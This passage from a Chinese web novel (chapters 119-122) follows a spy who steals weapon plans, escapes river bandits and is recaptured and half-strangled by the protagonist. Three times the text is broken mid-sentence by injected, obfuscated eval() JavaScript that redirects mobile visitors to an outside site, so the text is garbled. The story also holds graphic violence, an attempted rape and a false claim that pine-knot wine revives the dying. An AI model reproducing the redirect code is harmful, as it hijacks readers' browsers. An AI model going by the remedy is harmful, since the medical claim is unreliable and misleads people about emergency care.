林雅娴和徐瑾儿听见动静,连忙提着灯笼,赶了过来。
看见薛猛脸上血红的巴掌印,两个女人都心疼坏了。
薛猛缓过神来,来不及管脸上的伤,而是对愣神的寇芳问道:“寇芳,你刚才说什么?莫非你认识那个京城影卫?”
“京城影卫?”
听了薛猛这话,寇芳反倒是满脸错愕:“恩公,这折梅手,含香步,乃是盗门的秘传绝技!”
“手如钩,指如刃,探囊取物,无往不利!”
“步连环,身如燕,潜踪匿影,窃玉偷香!”
“这两门绝技,历来只有盗门首领的**人才有资格传承!”
“方才那人,必然是盗门中人,并且与盗门首领关系匪浅!”
“我盗门中人,向来与官家水火不容!怎会是什么京城影卫?”
薛猛闻言,不由皱眉沉思。
这就怪了!
那夜含香,自称是京城影卫,效命于德妃手下!
怎么会盗门的秘传绝技?
“不管她是什么人!”
“决不能就让她这么离开卧虎村!”
夜含香虽然最后还是没能拿到鱼胶、钢刀、连**、铁锅的制作工艺,但却带走了薛猛绘制的新武器图纸!
那东西,不管落到任何人手里,都将造成不堪设想的后果!
无论如何,都必须把夜含香抓回来!
薛猛急忙回屋,取来弓箭,朝着天上发射了一支响箭!
咻!
锐啸之声,划破夜空,整个卧虎村都被惊醒了!
……
“哼,想抓我,痴心妄想!”
出村的所有路口,全都被巡猎队迅速封锁。
但夜含香却并不慌张,反而兴奋了起来。
当年纵横盗门之时,她没少和京城名捕斗智斗勇。
这种猫抓老鼠的刺激感觉!
她很享受!
第119章 青龙峡水匪
夜含香脱下身上唯一的红肚兜,将薛猛的武器图纸仔细包了起来,塞进自己密不透风的肉荷包里。
而后,光着身子在月色下滑行穿梭。
月光仿佛为她披上了一层银色薄纱,让她的娇躯更显婀娜动人。
夜含香很喜欢这种光着身子沐浴在月光下的感觉!
任何布料、衣物,只要摩擦都会发出细微声响,她觉得只有光着身子行动,才能真正做到无声无息,犹如幽灵一般让人难以察觉!
时交寅时三刻,把守村口的巡猎队队员,迟迟不见有人出现,全都昏昏欲睡。
这个时辰,是人最困的时候。
就连一向打了鸡血一样精神抖擞的裴红玉,此时也拄着**,忍不住打起了哈欠。
也就是在裴红玉张嘴打哈欠的刹那间,一阵香风飘然掠过。
裴红玉只觉眼前一花,好像有什么白花花的东西,从眼皮子底下滑了过去。
等她睁大眼睛仔细去看,却是什么也没看见。
“薛猛也真是的,大半夜把我们弄醒,到底抓谁啊?这么久了,也没见有人来!”
裴红玉一连打了两个哈欠,实在是扛不住了,靠在墙角打起了盹。
“呵呵!一帮蠢货,还想抓我?”
夜含香成功从裴红玉眼皮子底下离开卧虎村,不禁得意冷笑。
来到村口老杨树下,取出之前在树杈上藏好的包裹,从里面取出一身紫色劲装换上。
又将包着图纸的红肚兜,从肉荷包里掏了出来。
只把图纸收入怀中,湿漉漉的红肚兜则随手一丢,挂在了树杈子上!
“哼,也不知道哪个幸运儿,会最先发现老娘的肚兜,算是便宜他了!”
夜含香荡笑一声,背着包裹潇洒离去。
一想到味道浓郁的肚兜明天会被别人发现,她就兴奋不已。
虽然没能得到鱼胶、铁锅、**、钢刀的制作工艺,但拿到了薛猛新武器的图纸,这一趟也不算白来!
夜含香敢断定,这张图纸上绘制的武器,比之前那些东西都要重要!
“将这张图纸交给德妃娘娘,德妃娘娘一高兴,应该就能宽恕我爹了吧!”
想起种种往事,夜含香脸上笑容淡去,眉间平添几分雨病云愁。
堂堂盗门首领之女,本该自由自在,纵横江湖,如今却要为后宫妃子卖命。
纵然心中万般不甘,却又无力反抗!
任她盗门本事通天,终究是下九流行当,德妃一句话,便可定盗门首领生死!
离开卧虎村,夜含香马不停蹄赶了一个时辰的路,来到距离白虎乡二十多里外的青龙峡河滩。
如今黑风岭响马起兵**,闹得蜀郡各县城门紧闭,人人自危,旱路早已走不通了。
要回京城,走水路更加快捷保险!
到了青龙峡河滩,天色将明,晨雾弥漫,行人影影绰绰,几只客舟早早就停泊在岸边等客。
“起锚咯!还没上船的客官,莫误了时辰!”
掌船的老船工在船头吆喝着揽客,行人三三两两,提着大包小包急忙登上客舟。
夜含香快走两步,上前问道:“船家,你这船到长安吗?”
船工打量了一番夜含香,见她紫纱遮面,背着沉甸甸的包裹,贼眼放亮,连忙点头:“当然到了!顺风的话,最快两天就能到!”
“有道是,朝发青龙峡,暮到紫金关,过了紫金关,便是长安城呐!”
夜含香扫了眼客舟上拥挤的人群,对船工说道:“我不喜欢与人拼船,能包船吗?”
“能是能,就怕客观破费!拼船每人只要五百文,若是包船,那可就……”
不等船工把话说完,夜含香直接从衣袖里摸出十两银子,随手丢给船工。
船工连忙双手接住,咬了咬银子,顿时眼冒精光。
一出手就是十两银子,这可是头肥羊啊!
宰这一头肥羊,比拉一船没油水的平民,强多了!
“各位客观,实在不好意思!本船已被这位贵客包了!”
“大家坐别的船吧!”
船工收了银子,陪着笑冲之前上船的客人说道。
“哪有这样的道理?明明我们先上来的,她后来的,凭什么赶我们下去?”
先前上船的乘客嘴里七嘴八舌,骂骂咧咧,不愿下船。
船工脸上笑容一僵。
抄起撑船的竹篙,直接轰人!
“滚!”
“老子的船,老子说了算!”
见船工满脸匪气,眼冒凶光,乘客们顿时怂了,灰溜溜下了船。
“嘿嘿,贵客您请!”
将一群人轰下船后,船工转头满脸堆笑,对夜含香极尽讨好道:“客观,可要用些茶饭?”
夜含香踏上客舟,进了木板和竹篾隔开的船厢,只见里面摆着一张小桌,地上铺着被褥。
“嗯,吃些也好。”
夜含香在小桌前盘膝坐下,点了点头。
夜里与薛猛等人争斗,加上赶了一个时辰的路,她正好有些饿了。
“好嘞,客观您稍等!——徒弟,饭煮好了给客观盛一碗!”
船上除了这名笑起来满脸褶子的老船工,还有一个沉默寡言的小伙子,在船头小灶上煮饭。
老船工后面这半句话,便是对那小伙子说的。
不多时,小伙子端来一碗用鱼虾、姜、花椒同煮的汤饭,一杯热气腾腾的姜茶,一双竹筷,规规矩矩摆在了桌上。
“嗯,好香呀!”
夜含香嗅了嗅香味,迫不及待拿起筷子,食指大动。
“开船咯!客观坐稳!”
老船工起锚撑船,客舟离岸,扯着嗓子喊起船家号子。
“杉木橹橹儿楠竹篙,一橹一橹扯伸腰!”
“呀儿呀儿嗬咳嗨,船头底下起白泡!”
“哎嗨依呀嗨,尾巴后头拖条槽!”
“乘风破浪往前跑,水涨船高过天桥!”
“世人不知水上好,神仙也难通奥妙!”
“游山游水游天地,无忧无虑乐逍遥!”
“莫看我俺船估佬,八百里江湖任我飘!”
逍遥豪放的歌声,回荡于青龙峡两岸翠峰之间!
沿途绿水清波,风景如画,两岸鸟叫猿蹄,时不时有闲云野鹤携着朝霞比翼飞落。
江上清风徐来,好不惬意。
夜含香吃饱喝足,放下碗筷,听着船工的歌声,昏昏欲睡。
老船工立于船尾,一边撑船,一边用余光打量船厢里东倒西歪的夜含香。
心中暗笑:爷爷的茶饭可不是白吃的!
“头,头好晕。船家,慢些开!”
噗通一声。
夜含香话还没说完,便两眼一黑,一头栽倒在地。
船头煮饭的小伙子见状,立即进了船厢,抓起夜含香的随身包裹,开始收刮财物。
老船工则是立于船尾继续唱着歌!
只是歌词不再像先前那样温顺良善,而是陡然一变
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313083|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
充满匪气!
“一入江湖胜大丘,不须耕耘自丰收!”
“东家有酒东家醉,到处逢人到处留!”
“不酿杜康饮美酒,不种蚕桑穿丝绸!”
“不敬菩萨不敬仙,天赐财宝我来收!”
“青龙峡里把身藏,爷爷便是那水上皇!”
“伙计磨刀砍脑壳,取下心肝煮一锅!”
“咿儿嘛咿滋哟,爷爷我是活阎罗,打渔杀家好快活!”
伴随着老船工杀气腾腾的歌声,客舟逆着激流转入一个岔道,朝着和长安城截然相反的方向驶去。
“师父,打眼了!银子不多,也就二十两,其他都是些飞镖、铁钉之类的暗器。”
回到船厢里,看着桌上从夜含香包裹里搜出来的东西,老船工肉眼可见的失望。
忍不住啐了一口:“他奶奶的!看她包裹沉甸甸,还以为是头肥羊!”
“没想到,里面装的都是些破铜烂铁!”
“对了,身上搜了吗?”
小伙子闻言,摇摇头,随即蹲下身去,在夜含香身上摸索了起来。
还别说,真让他摸出来一样东西!
“这是什么玩意儿?”
看着小伙子递过来的图纸,老船工随手接过展开一看,只见上面画着错综复杂的线条,看得他是眼花缭乱。
“什么破玩意儿!”
“一张擦屁股的草纸,还当个宝揣在怀里!”
老船工没好气地骂了一句,用图纸擤了把鼻涕,捏成团,随手丢进江中。
小伙子皱眉道:“师父,这可怎么办!这一趟总共才赚三十两银子,都没脸回水寨向少当家交差!”
老船工何尝不是心里着急。
如今这年月,有油水的肥羊越来越少了!
本以为夜含香是头肥羊,可以大宰一笔,没成想只是虚有其表。
“都怪这个臭娘们!出手那么阔气,还以为她多有钱呢!真是浪费咱们表情!麻了个巴子,干脆扒光洗净,杀来下酒!”
老船工气不过,抽出藏在船板底下的板刀,便要把气撒在夜含香身上。
然而就在他准备将夜含香抬到船头甲板上,割喉放血之时,一不小心扯下了夜含香面上的紫色面纱。
看清夜含香显露而出的真容,老船工顿时怔住了:“嚯!可真是个骚娘们儿!!”
小伙子也是看直了眼,激动得双手直发抖。
若单论五官,夜含香其实算不上端庄大气。
但那眉眼、朱唇、琼鼻,合在一起,透着一股浑然天成狐狸媚劲儿,让男人看了就忍不住想要跟她发生点故事!
“师父,这种尤物,杀了怪可惜!”
“不如让我先泄泄火,再杀不迟!”
说着,小伙子便要解开裤腰带,朝昏迷不醒的夜含香扑上去。
“去你的!这种好货,几时轮得到你?”
老船工直接推开了小伙子。
小伙子怯怯道:“那,师父你先用!你用完了,我再用!”
“胡说什么呢!老头子我早就没那火气了!”
老船工看着夜含香那张妩媚动人的桃花粉面,双目微眯:“正愁没法子回水寨交差!现在这不就有了?”
“咱们把这骚娘们儿,送回水寨,少当家啃腚喜欢!”
小伙子朝天门高耸,目光紧紧盯着夜含香,眼含不舍。
全水寨的人都知道,少当家就是个变态狂!
落在他手里,这骚娘们儿算是废了!
第120章 捞到条“美人鱼”
客舟缓缓驶入一片群山环绕的宽阔水域。
远远看去,笼罩在晨雾之中的青龙峡水寨,鬼气森森。
水寨的房屋,全都建造在山壁的洞窟之中。
寨前的水湾之中,停着上百只快船、客舟,还有几艘前端装了长戟的牙舰战船。
水匪们伪装成摆渡的船家,骗人上船,劫掠财物!
若是遇上姿色出众的女子,或是家境不凡的富豪,便绑回山寨,用尽一切肮脏手段,榨干他们身上的最后一丝价值!
此刻,水寨大厅门前的旗杆上,悬挂着一具肋骨露出、支离破碎,鲜血滴沥的女尸。
空际盘旋着一只白尾雕,时不时啄食着女尸裸露在外的内脏。
旗杆下,一个约莫十七八岁,脑后留着小辫儿,眼袋乌黑的黑衣小子,颇为得意地欣赏着自己的宠物。
并指着天上啄食女尸的凶恶白尾雕,向身旁从黑风岭远道而来的贵客,孜孜不倦介绍道:“冷姑,这是你去年送我的那只白尾雕,我养得还可以吧?”
“还行吧!要是再凶狠一些就更好了!”
被叫做冷姑的是一名年近三旬的风韵女子,别看她长得颇有几分姿色,但却是绿林上赫赫有名的女魔头。
值得一提的是,她的父亲便是把持黑风岭粮草配给大权的托天梁“冷先生”!
而留着小辫儿的黑衣小子,正是青龙峡水寨少当家雷蛟!
“雷蛟,我之前说的事情,你可得记住了!半个月后,元良世子便会亲率我黑风岭大军,攻打洪雅县城!”
“到时候,粮草需要借你们的船走水路押运,你可千万别放我们鸽子!”
雷蛟伸手卷弄着冷姑鬓角的秀发,咧嘴一笑,露出一嘴尖牙:“放心吧!不管是谁要打洪雅县城,我们青龙峡水寨一定帮帮场子!”
“更何况,就凭咱姑侄俩这关系!我还能不帮你吗?”
说着,雷蛟的手,便向冷姑高耸的胸脯滑去。
冷姑一把揪住对方手腕,冷哼道:“小屁孩儿!手脚放干净些,我可是你小姑!”
雷蛟嬉皮笑脸:“表的!就算是亲的,我也不介意!”
“你不介意,你姑父介意!”
留下这句话,冷姑一把甩开雷蛟的手,扭身走开。
望着冷姑风韵犹存的背影,雷蛟饶有兴致地舔了舔嘴唇:“嘿嘿,够劲儿!”
“少当家!我们打到顶好的鲍鱼,给您送来了!”
就在这时,客舟靠岸,老船工师徒俩抬着夜含香来到了雷蛟跟前。
“嚯!好久没见着这么好的货了!”
雷蛟只是看了一眼,便被夜含香狐媚的脸蛋儿迷住了!
“赶紧送我房里!”
“别被我爹和冷姑看见了!”
“完事儿你俩去账房领赏!”
见雷蛟果然喜欢夜含香,老船工心中窃喜,连连点头,和徒弟二人抬着夜含香向水寨走去。
二人全然不知,夜含香的手指轻轻动了一下。
“嘿嘿,先去吃点药,这么好的货,得慢慢品尝才是!”
雷蛟搓了搓手,满脸兴奋,迫不及待想要品尝新鲜的鲍鱼!
奈何这些年放纵过度,玩意儿不中用了。
事前必须先服食**制成的烈药,才能勃然起兴!
雷蛟吃了药,又喝了些酒以助药效,等了一盏茶功夫,只觉面红耳赤,心跳急促。
这才晃晃悠悠来到了自己卧房门前,色眯眯推开房门:“宝贝儿,我来咯!”
雷蛟刚一进门,一股血腥味顿时扑鼻而来。
“嗯?”
雷蛟一惊,还没等他反应过来怎么回事,只见眼前一花,一只玉手从斜刺里迅疾探出,直接擒住他的咽喉。
雷蛟双目惊恐圆瞪,顺着玉手看去,只见先前昏迷不醒的夜含香,不知何时已经醒了过来。
对方眼神漠然,逼视着他,仿佛在看一个**。
雷蛟想要喊叫反抗,但被对方铁钩一般的五指紧紧锁住咽喉,愣是发不出半点声音。
“小兄弟,知道姐姐是谁吗?就敢打我的主意?你难道不知道,色字头上一把刀吗?”
夜含香朱唇轻勾,笑容娇媚而歹毒,五指用力一扣。
“呃啊……”
下一刻,雷蛟双目血丝交织,面色绀紫,捂住脖子,直挺挺栽倒在地。
脖子上五个血洞,狰狞外露,鲜血汩汩涌流。
在失去意识的最后一刻,雷蛟隐约看见,和他一样躺在血泊里的,还有老船工师徒俩!
掐晕了雷蛟,夜含香眉头轻锁身形一晃,靠着门框方才勉强站稳。
水匪在饭菜里下了麻药,虽然现在药效已经消退大半,但还是有些头晕。
“此地不宜久留!”
夜含香强撑起精神,正要出门逃跑,却不料迎面撞上来找雷蛟的冷姑。
“雷蛟,小姑想了想,咱俩偷偷办事儿,你姑父应该不会知道!”
冷姑张着嘴,话还没说完,看见手上沾染血迹的夜含香,又瞥见她身后屋里倒在血泊里的三人。
顿时怒目圆睁,冷面如霜!
“来人!抓刺客!”
口中大喊的同时,冷姑抬腿刮起狂风,朝着夜含香扫去!
砰
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313084|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的一声爆响,冷姑一脚踹碎了房门。
夜含香头发晕,不敢恋战,就地一滚,躲过这夺命一脚,急忙朝岸边跑。
冷姑取下腰间绳镖,在后面穷追不舍。
“抓刺客!”
周围喊声四起,上百名水匪们手拿朴刀、铁叉,从各个角落涌了出来!
夜含香一咬牙,凭借盗门绝技“含香步”,穿梭滑行,躲避着水匪的**!
一双上下翻飞的折梅手,所过之处,血肉横飞,不断有水匪含恨倒下!
指如钩,手如刃。
步连环,身如燕。
冷姑见状,心中大惊,认出了夜含香的招式路数!
“盗门的人?!”
“哼!就算是盗门的人又如何?敢刺杀我侄儿!我绝饶不了你!”
刷刷刷!
绳镖在冷姑头顶飞舞如流星,卷起阵阵寒风。
啪!
一声爆鸣响起。
一道寒星自冷姑手中飞出,径直刺向夜含香眉心。
夜含香见状一惊,急忙俯身低头避过。
却不料,那绳镖刚从头顶打过去,竟又旋飞而来,简直神鬼莫测。
“嗯啊……”
夜含香躲过第一下却没躲过第二下,口中不由得嘤咛一声!
顿觉被什么东西打中了后背,那种铁器刺入体内的阵痛,疼得她浑身冷汗淋漓。
夜含香美眸一凝,当机立断,从地上踢起一把刀,割断绳镖的绳子。
顾不得拔出扎在背后的铁镖头,强忍剧痛,飞身一跃,跳入江中。
“追!!”
“一定要把这妖女抓回来!”
“为少当家报仇!”
冷姑愤然怒喝。
盘旋于空际的白尾雕,眸中寒光一闪,径直俯冲而下,展开双翼,巡视着江面!
水匪们则是纷纷登船。
上百只快船齐齐开动,布下天罗地网,撒向江面!
少当家被刺杀!
此事非同小可!
说什么也不能放走这刺客!
……
“完了完了,这下全完了!”
卧虎村,薛家庭院内。
薛猛背着手来回踱步,心绪难宁。
巡猎队守了一夜,都没抓住夜含香!
肯定是让那家伙给跑了!
跑就跑吧,还偏偏让她带走了自己新武器的图纸!
一旦夜含香将那张图纸,带回京城。
薛猛感觉自己离满门抄斩就不远了!
就在薛猛焦头烂额之际,张水兴奋的声音从前院传来。
“薛爷!咱们在青龙峡捞到条美人鱼!”
“不过她好像快**!”
第121章 天然**
白虎乡附近水域的大鱼,几乎快被捕鱼队捕捞干净了。
为了给小鱼留下足够的成长时间,捕鱼队决定寻找新的猎场。
而距离白虎乡二十里外的青龙峡,鱼产资源丰富,无疑就是最好的捕捞地点!
张水等人也是头一回去青龙峡,不曾想渔网刚撒下去,鱼没捞上来几条,居然捞上来一条“美人鱼”!
“什么美人鱼?”
听了张水的话,薛猛怔了怔,但他心里正为抓不着夜含香发愁,对什么美人鱼完全提不起兴趣。
然而当捕鱼队的人,将他们捕捞到的“美人鱼”,用竹杠抬进来后,薛猛定睛一看,顿时虎目圆瞪。
“嗨呀?”
“这不是牛逼轰轰的影卫大人吗?
“谁把你伤成这样了?我可得好好谢谢他!”
薛猛脸上愁云顿扫,当即就乐了!
地上躺着的“美人鱼”,不是别人,正是让他忧心忡忡的京城影卫夜含香!
见夜含香昏迷不醒,衣服上全是血迹,显然受了重伤,薛猛心里别提多解气了!
蹲下身,捏着夜含香的狐媚脸蛋仔细打量起来。
“啧啧,真踏马骚!”
薛猛不由得啧啧称奇。
这还是他头回见到夜含香面纱下的真容!
竟然如此风骚!
但薛猛此时此刻,却没有丝毫怜香惜玉的心思,左脸隐隐作痛,昨晚被这骚娘们儿扇了一巴掌,到今天脸上的印子都还没消呢!
薛猛是一个记仇的人!
睚眦必报,以牙还牙!
方为男儿本色!
啪!
薛猛深呼一口气,铆足了劲儿,抡起一巴掌抽在夜含香的水润脸蛋上。
“特娘的,昨晚你不是挺能耐的吗?”
“现在落在爷爷我手里,我弄不死你!”
薛猛骑在夜含香身上,左右开弓,一连抽了好几巴掌。
**!
“噗叽……”
夜含香一口血水喷出,直接淋了薛猛一脸。
原本夜含香因伤势过重,已经快要彻底丧失生机,结果硬生生被薛猛给抽醒了!
“多谢恩人救命之恩。”
夜含香吐干净血水,缓缓睁开双眼。
发现自己还活着,下意识开口感谢救醒自己的人。
但当她看清眼前那双俊朗虎目,心里顿时咯噔一下!
“嗯?怎么是你?!”
看清楚眼前这人,居然是薛猛!
夜含香神色大变,自己怎么又回到薛家了?
薛猛也是一怔,跟夜含香大眼瞪小眼。
本想抽巴掌泄愤!
没想到,居然还这家伙给抽醒了?
唯恐这个妖女再施展古怪的功夫逃跑,薛猛一把揪住夜含香头发,二话不说,摁着她的头,就往地上砸!
“糙尼玛!老子飞雷炮的图纸呢!”
“快还给我!!”
砰!
夜含香被薛猛摁在地上狠狠摩擦。
她想要反抗,奈何身上伤势太重,连抬手都做不到。
自知如今的自己,根本不可能从薛猛手里逃走。
就算侥幸逃走,以自己身上的伤势,也走不远!
更何况,外面还有众多水匪四处在搜寻她的下落!
现如今,出去就是死!
只有留在卧虎村疗伤,她才有一丝生机!
夜含香心念电转,几乎是转瞬之间便认清了形势。
不再妄想无意义的反抗,而是主动示弱,向薛猛释放着她的柔情媚意:“薛郎,我们做笔交易如何?”
“交易?”
薛猛闻言一怔。
夜含香缓了口气,强忍身上剧痛,艰难开口道:“我……我伤得很重,需要疗伤!”
“只要你请大夫给我疗伤,我就替你保守秘密!”
“什么铁锅、鱼胶、钢刀、连**,我就当从来没见过,没听过!”
“只要你肯救我,奴家什么都可以给你!”
夜含香媚眼如丝,眼含秋波,近乎深情地仰望着薛猛,摆出一副任君摆布,楚楚可怜之态。
薛猛虎躯一震。
这娘们儿简直就是狐狸精转世!
眼神儿太勾人了!
但薛猛很快便醒过神来,不屑冷嗤一声。
两只手狠狠掐住夜含香的脖子,朝她脸上吐了口浓痰:“呵忒!臭表子!你当老子是傻子呢?”
“天底下,只有**才能永远保守秘密!”
“还想让我救你?我踏马整死你!”
薛猛怒火中烧,铁手像钳子一样紧紧掐住夜含香的脖子,逐渐收紧。
“呃啊……”
夜含香两眼翻白,嘴唇乌紫,不停蹬着腿。
她无论如何也没想到,薛猛居然软硬不吃,连她引以为豪的媚术都不起作用!
这一刻,夜含香内心感受到了前所未有的恐惧!
因为薛猛真敢杀她!
张水和捕鱼队的人,全都吓傻了!
他们还是第一次见到薛猛,对一个女人下这么狠的毒手!
“恩公,不可!!”
恰在这时,一声惊叫响起。
薛猛一怔,扭头看去,只见寇芳匆忙踏进了庭院。
寇芳看了眼被薛猛压在身下,几乎快要被掐断气的夜含香,看着这张似曾相识的脸蛋,心中动容。
径直来到薛猛面前,单膝跪地,拱手求情!
“恩公,我认得她!她是我们盗门首领的女儿!”
“她为德妃效命,定是有难言之隐!您就发发慈悲,暂且饶她一命吧!”
“绝不!”
薛猛眼冒凶光,杀意凛然!
夜含香知道太多自己的底细!
不整死她!
薛猛连觉都睡不着!
“半个月后,黑风岭响马,要……!”
就在即将窒息的前一刻,夜含香榨干全身气力,从牙齿缝里逼出这么一句。
薛猛闻言一怔,掐住夜含香脖子的双手,缓缓松开。
“你说什么?半个月后黑风岭响马要干什么?”
薛猛正想追问,但夜含香已经头一歪,昏**过去。
“啊!**!”
捕鱼队众人脸色惨白。
寇芳小嘴微张,双目失神。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313085|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>本想看在同是盗门中人的份儿上,替夜含香求求情,没想到薛猛活活将其掐**!
“别胡说,她还没死!”
薛猛也是没想到,这家伙这么快就昏死过去了。
伸手摸了摸夜含香的颈动脉窦,跳动十分微弱,但显然还有一丝生机。
连忙扯开对方衣服,做了胸外按压和人工呼吸。
但还是没有醒来。
夜含香本就受了严重外伤,又被薛猛掐脖子,大脑神经已经不活跃了。
需要打**才能醒过来!
可这是古代,哪有**啊?
薛猛想了想,脑中灵光一闪,对跪在地上愣神的寇芳喊道:“寇芳,你快去柴房,找一节松树节来,用斧头砸碎,丢进铁锅炒至冒青烟!”
“再倒半坛子酒进去煮!煮好之后,用纱布滤去残渣,把酒端过来!”
“喝了这酒,她就能醒!”
啥?
用松节煮酒,能救垂死之人?
寇芳听得满头雾水,完全无法理解,但还是按照薛猛的吩咐起身去了柴房。
张水等人也都面面相觑,从没听说这样古怪的救人法子。
不多时,寇芳端来一碗黑乎乎的热酒,味道极其刺鼻。
薛猛接过酒碗,捏开夜含香牙关,将热酒强行灌了进去。
热酒刚刚灌入,夜含香顿时眉头一皱,猛烈呛咳起来。
嘶!
寇芳和张水等人皆是倒吸一口气,脸上满是震惊。
真有用?!
见夜含香醒转,薛猛松了口气。
松树节富含木馏油和松节油,可以对人体中枢神经起到兴奋作用,与酒同煮,效果堪称天然**!
用于垂死急救,最合适不过!
“妖女!快说!半个月后黑风岭响马要干什么?”
薛猛将空碗放在一边,一把将刚刚醒来的夜含香从地上拽了起来,面上依旧没有半分好脸色。
“咳咳……”
夜含香虚弱地张了张嘴,咳出一些酒水,随即嘴角勾起一抹讨好的媚笑:“薛郎,我就知道你是个好人,不忍心看着奴家死!”
“好人做到底,送佛送到西,你先替奴家疗伤,等奴家伤好了,再慢慢告诉你!”
“你放心,奴家绝不糊弄你的!奴家掌握的这些消息,关乎黑风岭响马的最新动向,对你肯定有用!”
薛猛死死盯着夜含香那副柔情似水的狐媚样子,沉哼一声,松开了她。
反正这家伙现在虚弱成这样,跑是肯定跑不掉了!
黑风岭响马,已是薛猛的心头大患!
若夜含香真知道关于黑风岭响马的最新动向,薛猛的确不想错过!
薛猛冷声质问:“说吧!你到底伤哪儿了?”
夜含香脸上笑容淡去,艰难地扭过腰身,背对薛猛。
强忍剧痛,缓缓掀开背后衣服,露出了后背狰狞的伤口!
嘶!
看见伤口的刹那间,在场所有人都不禁脊背发寒,汗**倒竖。
便是连见过大世面的薛猛,也是瞳孔一缩,神情无比凝重!
第122章 大虞第一台外科手术
夜含香受的伤,既不是平平无奇的皮外伤,也不是简简单单的骨折!
而是整个铁镖,嵌入体内,碎裂的骨头碎渣和血肉混在一起!
伤口处的血肉向外翻开,仿若婴儿嗷嗷待哺的小嘴!
就差那么一点,这铁镖就能打穿她的心脏!
伤成这样,还能强撑到现在,这妖女命真大!
薛猛心中惊异,额角垂下一滴冷汗。
夜含香虽然看不到自己的伤口,但那钻心的疼痛,时刻提醒着她,自己伤得有多么严重!
“薛郎,只要你帮我请大夫疗伤,我夜含香一定会对你感恩戴德的!”
薛猛撇了撇嘴,直接摇头。
“还请什么大夫呀,请大厨算了!”
“什么意思?”
“准备吃席呗!”
夜含香一惊:“薛郎莫要说笑!”
薛猛抱着胳膊,满脸无奈:“我没说笑!你这伤势,整个大虞没有一个大夫能救你!”
“就是把京城的太医请来了,他也没辙!”
“……”
一旁,寇芳神色黯然垂下了头,她很清楚,薛猛这话并不夸张。
在大虞,哪怕只是被流矢射中大腿,都很可能因为伤口感染,救不回来!
更何况夜含香是整个铁镖头嵌入背部。
这种情况,已经没有任何药物,可以救她了!
见周围人看自己的眼神都仿佛在看一个**,夜含香顿时万念俱灰。
其实她自己也已经感受到,自己没多少时间了。
难道,真的就只能等**吗?
就在这时,薛猛捏着下巴思忖片刻,提出了一碗铁牛……提出了一个点子!
“诶!我想到个法子,倒是可以一试!”
“但是,风险很高!”
“成功了保你活蹦乱跳!失败了很可能会让你死得更惨!”
“你要不要尝试一下?”
“要!”
薛猛话音刚落,夜含香想也没想,便直接答应了!
先前薛猛用一碗黑乎乎的热酒,救醒了她!
夜含香决定相信薛猛!
不治必死无疑,试试兴许还有活路!
“痛快!”
薛猛咧嘴一笑:“你们几个,先把她抬到西厢空屋里去!寇芳、张水,你俩过来,替我去准备些东西,我要给她动手术!”
寇芳、张水凑近薛猛身边,听了薛猛的吩咐,纷纷领命离去。
而被捕鱼队队员抬进空屋的夜含香,则是满脸茫然,甚至内心莫名升起一种不祥的预兆。
动手术?
这是什么治疗方法,以前怎么从未听说过?
夜含香全然不知,自己已经沦为了薛猛的实验小白鼠!
薛猛让人在空屋里用木板搭了个临时手术台,在台面上铺上白布,又在周围挂上帷幔,作为临时手术室。
又在墙角香炉里,燃烧艾草、苍术,熏蒸房间!
这一步,是为了抑杀空气里的细菌。
虽然没办法完全营造现代医院里那种无菌手术室,但这个办法,也可以有效抑杀细菌,减少术后感染的风险!
临时手术台旁的小桌子上,摆着一口铜盆,里面装着用沸腾盐水反复蒸煮消毒过的手术用具。
当然,柳叶刀和止血钳这种现代专业器具是没有的!
只有兽用清创刀和马用拔刺钳!
听名字就知道,这两样东西,是给牲口用的!
在大虞,马匹比人金贵!
马匹常被用于骑乘、拉车、征战,马掌非常容易被尖锐物刺伤。
这两样东西,就是用来给马掌清理伤口的!
但还从来没有人敢把这东西用到人的手上!
除了刀和钳子,铜盆里还有一团桑皮线、一根绣花针。
这就是薛猛让寇芳和张水准备的全部东西了!
寇芳心里没底,忍不住对薛猛问道:“恩公,这些东西,真能给夜小姐疗伤?”
这又是钳子又是刀的,哪里像是要给人疗伤的架势?
不知道还以为是要杀牛宰羊呢!
“不是疗伤,是开刀动手术!”
薛猛摆摆手,知道没法和这些古人解释,也不想浪费口舌:“行啦,你们都出去吧!”
“手术过程中必须全程保持洁净、安静,在我出来之前,不能有任何人干扰我!”
“明白!”
寇芳点点头,和张水等人对视一眼,带上门出去了。
“把衣服全脱了!我好给你开刀!”
“薛郎,我,动不了!”
薛猛无奈一叹,只得亲自上手,把夜含香扒个精光。
随着时间流逝,天然**的神经亢奋效果逐渐消退。
夜含香光着身子,趴在临时手术台上,看着旁边铜盆里的刀和钳子,感觉自己仿佛真的成了案板上待宰的羔羊。
她有些后悔答应薛猛动手术了!
虽然只是抱着死亡当活马医的态度,决定赌上一把!
但,赌注是自己的性命!
